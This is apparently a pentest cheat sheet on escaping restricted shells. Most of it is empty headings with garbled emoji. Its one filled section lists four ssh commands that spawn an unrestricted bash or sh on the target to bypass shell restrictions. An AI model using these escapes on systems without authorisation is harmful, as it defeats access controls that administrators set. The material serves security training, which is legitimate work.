πͺEscaping Restricted Shells
π― Overview
π Restricted Shell Types
Shell
Description
πͺ Escape Techniques
SSH Bypass Methods
# Method 1: SSH with bash noprofile
ssh user@target -t "bash --noprofile"
# Method 2: SSH with different shell
ssh user@target -t "/bin/bash"
ssh user@target -t "/bin/sh"
# Method 3: SSH command execution
ssh user@target "bash -i"
# Method 4: SSH with environment bypass
ssh user@target -t "env -i bash --norc --noprofile"Command Injection
Environment Variable Manipulation
Built-in Command Abuse
Shell Function Exploitation
π§ Advanced Bypass Techniques
Character Escaping
Alternative Interpreters
File-based Escapes
π Enumeration & Detection
Identify Restricted Shell
Quick Escape Test Script
π Practical Examples
HTB Academy Example
Common Escape Sequence
π Quick Reference
Most Effective Methods
Emergency Escapes
Last updated